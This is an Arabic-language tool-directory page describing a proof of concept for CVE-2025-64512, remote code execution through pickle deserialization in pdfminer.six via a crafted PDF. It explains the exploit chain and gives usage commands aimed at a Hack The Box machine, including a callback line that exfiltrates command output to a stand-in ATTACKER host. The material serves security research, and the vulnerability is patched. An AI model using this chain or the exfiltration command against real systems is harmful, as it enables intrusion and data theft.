Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64512-pdfminer-PoC — PoC لـ CVE-2025-64512: RCE عبر إلغاء تسلسل pickle في CMapDB بمكتبة pdfminer.six باستخدام ملف PDF مُصمم خصيصًا | Kitploit
أدوات/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

PoC لـ CVE-2025-64512: RCE عبر إلغاء تسلسل pickle في CMapDB بمكتبة pdfminer.six باستخدام ملف PDF مُصمم خصيصًا

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
2منذ 26 أياملم تتم المراجعة بعد
مشاركة

CVE-2025-64512 — إثبات المفهوم لثغرة إلغاء تسلسل CMapDB في pdfminer.six

إثبات مفهوم لثغرة إلغاء تسلسل في pdfminer.six تؤدي إلى تنفيذ تعليمات برمجية عشوائية عند تحليل ملف PDF مُصمَّم بدقة.

الغرض / إخلاء مسؤولية قانوني هذا المستودع مُقدَّم لأغراض تعليمية وللبحث الأمني المصرَّح به فقط. إنه يعيد إنتاج ثغرة CVE معلنة علنًا وتم تصحيحها. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام. البيئة المقصودة: Hack The Box / VulnHub / مختبر محلي.

الثغرة

  • CVE: CVE-2025-64512
  • المتأثر: pdfminer.six قبل 20250506
  • المُصحَّح: 20250506
  • النوع: إلغاء تسلسل بيانات غير موثوقة (CWE-502)

في ، يقرأ ملف CMap يُشتق اسمه من إدخال لخط PDF، ثم يمرر المحتوى إلى :

cmapdb.py
CMapDB._load_data()
/Encoding
pickle.loads()
root@kitploit:~
def _load_data(cls, name):
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
    raise CMapDB.CMapNotFound(name)

ثلاث خصائص تتضافر لجعل هذه الثغرة قابلة للاستغلال:

  1. استدعاء pickle.loads() على بيانات يتحكم بها المهاجم -> تنفيذ تعليمات برمجية عشوائية.
  2. نظرًا لأن اسم الملف مطلق، فإن os.path.join() يتجاهل دليل البحث ويفتح الملف في ذلك المسار المحدد.
  3. يتم إضافة .pickle.gz تلقائيًا، لذلك يُعطى المسار بدون الامتداد.

سلسلة الاستغلال

يتطلب الاستغلال رفع ملفين إلى تطبيق الويب المعرّض للثغرة:

  1. payload.pickle.gz — كائن pickle مضغوط بصيغة gzip، حيث ينفذ __reduce__ أمرًا ويعيد قاموسًا بصيغة CMap (لكي يستمر التحليل بسلاسة بعد تشغيل الحمولة).
  2. trigger.pdf — ملف PDF بسيط يستخدم Type0/CIDFont حيث يشير /Encoding في خطه إلى المسار المطلق للملف pickle (بدون امتداد).

هناك تفصيلان مهمان على مستوى PDF:

  • لا يمكن الوصول إلى CMapDB.get_cmap() إلا عبر CIDFont (خط Type0 يحتوي على إدخال DescendantFonts)، وليس عبر خط Type1 عادي.
  • يبدأ رمز الاسم في PDF بمحدد /، لذا يجب أن يبدأ المسار المشفَّر بـ #2f للحفاظ على الشرطة المائلة الأولى في المسار المطلق. كما تُستخدم #2f للشرطات المائلة الداخلية لأن / هو محدد أسماء.

عندما يحلل الهدف ملف PDF (مثل مراقب خلفي يستدعي pdf2txt.py)، يفتح CMapDB._load_data() ملف pickle وينفذ الأمر.

الاستخدام

root@kitploit:~
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz

# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf

# 3. Upload both files to the vulnerable PDF upload form, then wait for
#    the processing watcher to pick up trigger.pdf

تم التحقق من ذلك بالكامل ضد pdfminer.six 20250416 (الإصدار المعرّض للثغرة): تشغيل pdf2txt.py trigger.pdf ينفذ أمر الحمولة ويخرج برمز 0.

أمر الحمولة أعمى (blind)؛ لذا يمكن تسريب البيانات عبر callback، على سبيل المثال:

root@kitploit:~
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz

الملفات

الملفالغرض
make_payload.pyينشئ ملف payload.pickle.gz الخبيث
make_trigger_pdf.pyينشئ ملف PDF المُحفِّز /Encoding مع إزاحات xref صحيحة

المراجع

  • CVE-2025-64512 (NVD)
  • سجل تغييرات pdfminer.six / التزام الإصلاح للإصدار 20250506
  • جهاز Hack The Box Bedside (إعادة إنتاج مخبرية مصرح بها)
تنزيل الأداة